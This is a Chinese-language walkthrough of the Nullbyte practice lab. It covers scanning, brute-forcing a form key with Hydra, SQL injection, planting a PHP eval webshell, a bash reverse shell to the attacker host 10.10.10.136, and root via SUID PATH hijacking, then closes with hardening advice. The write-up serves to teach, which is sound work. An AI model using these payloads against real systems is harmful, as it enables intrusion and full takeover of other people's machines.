Nullbyte渗透靶场精讲
字数 2313
更新时间 2026-02-27 03:06:29
Nullbyte渗透靶场实战教学文档
一、靶场概述
Nullbyte是一个难度较低的渗透测试练习靶机,适合网络安全初学者入门。本教学文档将基于完整的渗透测试流程,详细解析从信息收集到最终提权的每个步骤。
二、环境准备与初始信息
- 目标IP:10.10.10.135
- 攻击机环境:Kali Linux
- 渗透测试工具:nmap, gobuster, hydra, sqlmap, john等
三、信息收集阶段
3.1 主机发现
使用nmap进行网络存活主机扫描,确定目标主机地址:
nmap -sn 10.10.10.0/24
发现靶机IP为10.10.10.135。
3.2 端口扫描与服务识别
- TCP全端口扫描:
nmap -sT --min-rate 10000 -p- 10.10.10.135 -oA nmapscan/ports1
发现开放端口:80, 111, 777, 45409。
- 服务版本探测:
nmap -sT -sV -sC -p80,111,777,45409 10.10.10.135 -oA nmapscan/detail1
服务识别结果:
- 80端口:HTTP服务
- 777端口:SSH服务
- 111端口:RPC服务
- 45409端口:RPC服务
- UDP端口扫描:
nmap -sU --top-ports 20 10.10.10.135 -oA nmapscan/udp1
未发现有价值信息。
3.3 漏洞扫描
nmap --script=vuln -p80,111,777,45409 10.10.10.135 -oA nmapscan/vuln1
重点关注发现:
- phpMyAdmin相关漏洞
- uploads目录潜在风险
3.4 目录扫描
使用gobuster进行Web目录枚举:
gobuster dir -u http://10.10.10.135/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
发现关键目录:
/uploads- 文件上传目录/phpmyadmin- 数据库管理界面/javascript- JavaScript文件目录
四、Web渗透阶段
4.1 初始访问点发现
- 访问Web首页(http://10.10.10.135/),显示一句话:"如果你探寻和谐的法则,你将会发现知识"。
- 页面包含一个main.gif图片,下载并分析:
wget http://10.10.10.135/main.gif
exiftool main.gif
在图片元数据中发现隐藏字符串:kzMb5nVYJw
4.2 隐藏路径访问
将发现的神秘字符串作为路径访问:
- http://10.10.10.135/kzMb5nVYJw/
该路径下存在一个需要输入key的表单页面。
4.3 密码爆破
- 查看页面源码:发现表单验证逻辑简单,未连接数据库
- 使用Hydra爆破:
hydra 10.10.10.135 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l l2xcty -P /usr/share/wordlists/rockyou.txt
- 爆破结果:成功获得密码
elite
4.4 表单功能分析
- 使用密码
elite登录后,显示一个搜索表单 - 表单通过GET方式向
420search.php提交参数usrtosearch - 测试发现存在SQL注入漏洞:双引号可闭合SQL语句
五、SQL注入利用(四种方法)
5.1 手工注入
- 判断列数:
" order by 3;-- - # 正常
" order by 4;-- - # 错误
确定有3列。
- 联合查询注入:
" union select 1,2,3;-- -
" union select database(),user(),version();-- -
当前数据库:seth
- 获取表信息:
" union select table_schema,table_name,3 from information_schema.tables;-- -
发现users表。
- 获取列信息:
" union select column_name,2,3 from information_schema.columns where table_schema='seth' and table_name='users';-- -
列名:user, pass, position
- 提取数据:
" union select user,pass,position from users;-- -
获得加密密码:YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE
- 密码解密:
echo -n YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | base64 -d
得到:c6d6bd7ebf806f43c76acc3681703b81
- 哈希识别与破解:
hash-identifier c6d6bd7ebf806f43c76acc3681703b81 # 识别为MD5
echo "c6d6bd7ebf806f43c76acc3681703b81" > 1
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt 1
破解得到明文密码:omega
- SSH登录:
ssh ramses@10.10.10.135 -p777
使用密码omega成功登录。
5.2 使用sqlmap自动化注入
sqlmap -u "http://10.10.10.135/kzMb5nVYJw/420search.php?usrtosearch=1" -D seth -T users --dump
5.3 写入一句话木马
- 写入Webshell:
"union select '<?php eval($_REQUEST[1]);?>','','' into outfile '/var/www/html/uploads/2.php' -- -
-
获取数据库密码:
查看420search.php配置文件,发现数据库root密码:sunnyvale -
登录数据库:
mysql -u root -p
输入密码sunnyvale
5.4 反弹Shell
- 写入反弹Shell脚本:
"union select "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.136/7777 0>&1'\");?>","","" into outfile '/var/www/html/uploads/reverse.php' -- -
- 监听端口并访问:
攻击机监听:nc -lvp 7777
访问:http://10.10.10.135/uploads/reverse.php
六、权限提升
6.1 系统信息枚举
- 检查sudo权限:
sudo -l
用户ramses无sudo权限。
- 查找SUID文件:
find / -perm -u=s -type f 2>/dev/null
发现可疑文件:/var/www/backup/procwatch
6.2 SUID提权分析
- 分析procwatch程序:
./procwatch
输出显示程序执行了ps命令:
PID TTY TIME CMD
19394 pts/0 00:00:00 procwatch
19395 pts/0 00:00:00 sh
19396 pts/0 00:00:00 ps
- 漏洞原理:
程序调用ps时未使用绝对路径,存在PATH环境变量劫持风险。
6.3 提权方法一:编译恶意ps程序
- 创建ps.c文件:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void main(){
setgid(0);
setuid(0);
system("/bin/bash -p");
}
- 编译并设置PATH:
gcc -o ps ps.c
export PATH=.:$PATH
./procwatch
成功获得root权限。
6.4 提权方法二:创建软链接
ln -s /bin/sh ps
export PATH=.:$PATH
./procwatch
whoami # 显示root
6.5 方法差异分析
- 方法一:通过
bash -p参数保持SUID权限,直接显示root提示符 - 方法二:软链接到
/bin/sh,dash会降级权限,但实际仍为root用户
6.6 获取flag
提权成功后,在root目录下查找flag文件。
七、安全总结与加固建议
7.1 靶机安全漏洞总结
- 信息泄露:
- 图片中隐藏敏感信息
- 目录结构可被枚举
- 认证缺陷:
- 弱密码策略
- 前端验证可被绕过
- 注入漏洞:
- SQL注入漏洞
- 未过滤用户输入
- 配置不当:
- 数据库默认密码
- SUID程序路径劫持
- 权限问题:
- 不必要的SUID权限
- 文件上传目录可执行权限
7.2 防护措施建议
- 信息泄露防护:
- 移除元数据敏感信息
- 限制目录遍历
- 认证加固:
- 实施强密码策略
- 使用后端验证
- 输入验证:
- 使用参数化查询
- 实施输入过滤
- 权限控制:
- 遵循最小权限原则
- 移除不必要SUID权限
- 路径安全:
- 使用绝对路径调用系统命令
- 限制PATH环境变量修改
八、技能要点总结
通过本靶机练习,可掌握以下渗透测试技能:
- 基础信息收集与枚举技术
- Web目录爆破与路径发现
- 密码爆破与表单绕过
- SQL注入的手动与自动化利用
- 文件写入与Webshell上传
- 系统权限枚举与SUID提权
- 环境变量劫持技术
- 完整的渗透测试流程实践
文档说明:本教学文档基于先知社区的《Nullbyte渗透靶场精讲》文章内容整理,详细记录了从信息收集到权限提升的完整渗透流程,适合网络安全初学者学习和实践。